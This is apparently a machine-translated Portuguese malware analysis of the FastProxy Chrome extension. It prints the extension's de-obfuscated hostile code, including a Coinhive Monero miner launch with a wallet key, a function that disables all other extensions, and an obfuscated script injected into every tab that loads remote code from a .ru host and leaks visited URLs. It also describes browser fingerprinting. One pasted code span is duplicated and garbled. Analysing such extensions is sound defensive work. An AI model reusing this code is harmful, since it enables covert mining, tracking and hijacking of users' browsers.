Neste artigo, mostrarei como as extensões perigosas no chrome podem ser e como
As extensões do Firefox são mais seguras.
Trata-se de expandir o FastProxy.
Em nenhum caso, não o coloque em sua forma pura no cromo.
Para obter seu código-fonte, primeiro você precisa instalar outra extensão Visualizador da fonte de extensão do Chrome .
Depois disso, abra a página .
O ícone CRX ficará amarelo - clique nele e selecione "baixar como zip".
Agora para a análise de código.
1. Manifest (manifest.json) - o núcleo de qualquer extensão
As restrições de extensão são definidas pelo CSP (política de segurança de conteúdo) e pelas permissões:
"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com ; object-src 'self'",
"permissões": ["proxy", "guias", "webRequest", "webRequestBlocking", "management", "\ u003Call_urls>", "storage"],
O CSP deve alertar imediatamente, pois permite avaliações inseguras (mais sobre isso aqui ).
I.e. executar código de qualquer string passada.
management
permissão de management
permite gerenciar outras extensões.- A permissão
webRequestBlocking
permite substituir absolutamente todas as solicitações que passam pelo navegador. - A permissão
\u003Call_urls>
é a mesma que <all_urls>
- permite que você atue em qualquer site.
Saiba mais sobre permissões aqui .
I.e. com base em apenas um arquivo de manifesto, a extensão já possui um nível enorme de acesso a tudo.
Os arquivos de código-chave estão listados em
"plano de fundo": {
"scripts": ["lib.js", "jquery.min.js", "background.js", "ga.js"]
}
Eles são executados em ordem na matriz imediatamente após instalar a extensão ou imediatamente após iniciar o navegador.
2. Análise de arquivos de processo em segundo plano
O código é minimizado e confuso. Para desvendar, usaremos o site http://jsbeautifier.org/ com as configurações padrão.
- Comparei o arquivo jquery.min.js com o código jquery 2.2.4 original - eles correspondem.
- O arquivo ga.js é simplesmente um código do Google Analytics.
- O arquivo lib.js é CryptoJS.
- O código principal está concentrado em background.js.
Para facilitar a leitura do código, eu o reescrevi um pouco (funções renomeadas, vírgulas alteradas para blocos separados etc.).
Você também pode usar a versão firefox da mesma extensão para entender a parte não essencial do código.
O uso de proxy no firefox e chrome é fundamentalmente diferente.
Para baixar a versão do firefox da extensão, você precisa abrir o link no firefox.
Copie o link para "Adicionar ao Firefox" e abra-o no chrome.
Abra como um arquivo zip.
O código reescrito pode ser encontrado neste link .
Primeiro de tudo, você precisa entender que o $.ajax
executado no arquivo de script incorpora esse script na página (nesse caso, não na página, mas no processo em segundo plano).
Guardado pela linha
localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] );
Eles já estão nos dizendo que o assunto não está limpo.
Adicione console.log
após CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
e CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
, proibindo a execução do próprio ajax.
Ao mesmo tempo, na linha JSON.parse( localStorage.C)[cc]
(e similar para registro) cc, JSON.parse( localStorage.C)[cc]
de 0 para 1 (posteriormente para 2 quando vemos matrizes de 3 elementos).
Nós obtemos os links:
para configurar isso
http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)
para gravar isso
http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)
Além disso, os links fornecem dados apenas ao usar uid e version com ambos os parâmetros e também apenas através de $ .ajax ou busca. Ver simplesmente a abertura através do navegador não funciona - aparentemente existem verificações para os cabeçalhos recebidos.
Agora vamos ao que esses ajax estão dando. Se você quiser lê-los, é melhor usar a busca em outro projeto (você precisará instalar extensões que desbloqueiam o CORS no navegador).
Portanto, o primeiro link fornece um script que será incorporado automaticamente no processo em segundo plano, porque 'inseguro-avaliação' está presente, mas não há restrições de link no CSP.
Vale a pena notar a linha
function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\"> .<br><br> .</center>'",runAt:"document_start"}); }
Dirigimos a pesquisa "fastproxy anti-proibição" e abrimos o 4º resultado da pesquisa , a seção "Cuidado".
Acontece que o FastProxy não usa seus próprios servidores proxy.
O segundo link fornece um código semelhante ao primeiro, mas o script já é diferente!
function closeWindow () { const time = 500; // setInterval(function() { // chrome.tabs.getSelected(null, function (details) { // id - if (details.id == -1) window.close(); }) }, time); } closeWindow();
Normalmente, todas as guias têm id. Uma exceção é a janela da guia do console do navegador. I.e. isso é proteção contra espionagem pelo console.
Este arquivo também contém novos URLs, descriptografe-os usando CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
e CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
.
Os 2 primeiros links são os mesmos que os anteriores. Mas o terceiro é diferente:
http://fastproxy.ga/proxy/config/config.txt
Para 'record', todos os 3 links são novos.
http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt
De fato, não é diferente de config_proxy-fast.ru.js
Voltar para config_proxyrus.ru.js
O código também contém o fechamento do console. Então a diversão começa.
String
var ext_id = chrome.app.getDetails().id;
obtém o identificador da extensão e esse é um recurso não documentado.
A documentação atual usa um método diferente
Em seguida, vem o garfo:
if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="]); if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
Os mesmos três links se ext_id
não se enquadrarem na lista de extensões desejada.
E um novo link, se cair na lista de extensões + reinicialização completa da extensão.
Se alguém puder descobrir quais eram essas extensões, escreva nos comentários. Não há correspondências com o ID atual do FastProxy. A pesquisa na loja do Google não fornece nada por seus identificadores.
Explicação dos links
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
dá
http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
que pode ser aberto diretamente no navegador.
config_prowebdom.ru.js
Fechando o console novamente. E então o mais interessante.
var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); })
^ Lançamento do mineiro Monero. A propósito, lembre-se da carteira, se você vir algo semelhante no código, essas são as mesmas pessoas.
function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions();
Este código desativa todas as extensões, exceto a si próprio.
Se não houvesse permissão do gerente, isso não seria possível.
Seguinte
chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);
e
function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { // chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } }
tabs.onUpdated inicia um retorno de chamada ao atualizar um dos estágios de carregamento de uma guia para outra. Mais detalhes aqui.
Simplificando, isso afeta todas as guias.
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')
Exceto o FastProxy em si. Aparentemente, havia uma série de várias extensões que funcionavam como vírus.
if (tab.url.indexOf('google') == -1) {
Todos os URLs, exceto aqueles que contêm string do Google. Aparentemente, porque as guias do Google são temporárias. A verdadeira razão não está clara para mim.
E o pior é que um script é implementado em cada guia depois que a página é totalmente carregada nesta guia:
Execute-o através do embelezador JS.
Jogos de personagens podem ser omitidos graças ao console.log.
A coisa mais perigosa começa onde a tag de script é criada.
var l = document.createElement ('script');
O que me interessa principalmente é o innerHTML ou src.
l.setAttribute('src', document.location.protocol + '//' + h)
A parte esquerda é clara - o protocolo da página atual. A parte certa é o link real. Coloque console.log lá
Nós temos
zry4bsop.ru/d6safundjenk6af/30022_0.js
Da mesma forma, execute o embelezador JS
O princípio do arquivo é o mesmo - a parte mais perigosa é adicionar um script.
var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t);
Nós temos
zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
se executado no MDN
No productforums.google.com, o mesmo
zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js
Acontece que o lado direito está ligado a algo
Nós olhamos para o código
document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]
mencionado na função de auto-chamada f
então f é mencionado em
var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";
I.e. através de operações simbólicas, o URL visitado é passado para o script.
Nós olhamos para o próprio código de script, eles correspondem.
Execute-o novamente através do embelezador JS.
Sem reescrever o código, você pode adicionar nós, criar scripts, substituir cookies,
criando elementos do zero, ajax. Mas é muito difícil entender o que realmente está acontecendo.
Portanto, tente renomear essas funções numeradas.
Desvendar esse arquivo foi difícil. O mais difícil é passar pela constante criação de objetos que criam objetos que criam objetos ... Também era difícil encontrar funções puras para começar a desvendar o emaranhado.
Não consegui desvendar completamente o código. Mas o que é desvendado dá o seguinte:
Montagem de uma impressão digital completa sobre um usuário, que é convertida em uma sequência única por meio de uma série de operações de bits.
Esta impressão inclui:
- Useragent
- Informações sobre plug-ins instalados (especialmente para o IE). Especialmente digna de menção aqui é a linha Palemoon. O fato é que o Palemoon permite que você use Java.
- Informações sobre o processador usado
- Informações sobre fontes instaladas (função getFontData). Além disso, o código fornece a capacidade de usar uma lista extensa de fontes, além da lista do sistema. Mas apenas o sistema é usado
- Impressão de tela exclusiva (função get2dCanvasFingerprint). Como ele usa vários caracteres não padrão, há uma verificação da presença de idiomas instalados no sistema.
- Impressão digital exclusiva por webgl (função getWebglFingerprint)
- Verificando a falsidade dos dados fornecidos pelo navegador (função hasFalseBrowser). Especialmente nesse aspecto, o uso de eval.toString () é interessante para entender que tipo de navegador é realmente usado. Eu nunca teria imaginado isso.
Há uma função que executa XMLHttpRequest. Mas não é usado no código e não inicia quando o script é iniciado.
Há uma função que incorpora um flash na página, mas na verdade ele não é usado.
Dê uma olhada nos códigos de coleção de impressões digitais canvas / webgl.
Há uma incorporação de um iframe na página (método appendBadIframe1).
Agora vamos ver o que há nesse iframe.
Execute o embelezador JS.
De acordo com o código, este é um trocador de informações com o script principal. Se o script principal é na maioria das vezes operações de bits, um quadro eletrônico é executado através das propriedades computadas dos objetos. Usando window.postMessage eles trocam mensagens entre si.
A execução do arquivo cria 6 solicitações XHR (e através da criação do Img) e, quando você clica na página, uma nova janela é aberta.
Links descriptografados para solicitações podem ser encontrados no código.
Voltar para a extensão
Voltar para os links de extensão e registro. Esses links são usados como um arquivo .pac para o método chrome.proxy.settings.set .
Os códigos de arquivo podem ser encontrados aqui:
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js
A essência geral dos arquivos é desligar os domínios através de proxies bloqueados e o ip através de um proxy e em outro DIRECT, ou seja, acesso sem proxy.
O conjunto de servidores e o conjunto de domínios bloqueados / ip diferem.
Vamos descobrir quais servidores, além do Auto-Lock (antizapret.prostovpn.org), usam o FastProxy.
Dirigimos postls.com para a pesquisa. Abra o primeiro link.
Para bloquear a extensão Browsec, você precisará criar uma regra de VPM que bloqueie o nome do IP / host do URL de destino
browsec.com
postlm.com
postls.com
I.e. O FastProxy usa servidores Anti-Ban e Browsec sem seus próprios servidores.
4. Sobre o potencial de expansão
Usando a permissão webrequest + webrequestBlocking, você pode alterar absolutamente qualquer solicitação, incluindo solicitações internas dentro do próprio chrome.
I.e. você pode alterar completamente as páginas HTML, pode remover os cabeçalhos que interferem nas solicitações, incluindo o CSP (política de segurança de conteúdo) do site.
Usando seu proxy, você pode mesclar todo o tráfego do usuário que passa pelo seu proxy.
5. Sobre a política de extensões Google e Mozilla
A política do Google é muito mais suave que a política da Mozilla, eles publicam quase tudo.
A Mozilla possui requisitos rígidos: avaliação não segura é proibida, ofuscação de código é proibida (permitida se você fornecer um coletor completo).
A Mozilla também analisa periodicamente os códigos de extensão, mas não imediatamente após a publicação.
Mais detalhes podem ser lidos aqui e aqui .
Por esse motivo, a instalação de novas extensões do Firefox é muito mais calma que as extensões do Chrome.
6. O que há de novo no código:
O navegador fornece uma quantidade irreal de dados exclusivos sobre o navegador do que era no passado. E provavelmente dará ainda mais no futuro.
O eval.toString, assim como outras funções nativas, permitirá calcular a versão real do navegador.
Impressão exclusiva em tela e webgl.
7. Perguntas aos leitores
Se alguém trabalhou com webgl, diga-nos o que a função getWebglFingerprint faz. E o que é único lá?
Todas as fontes podem ser encontradas aqui.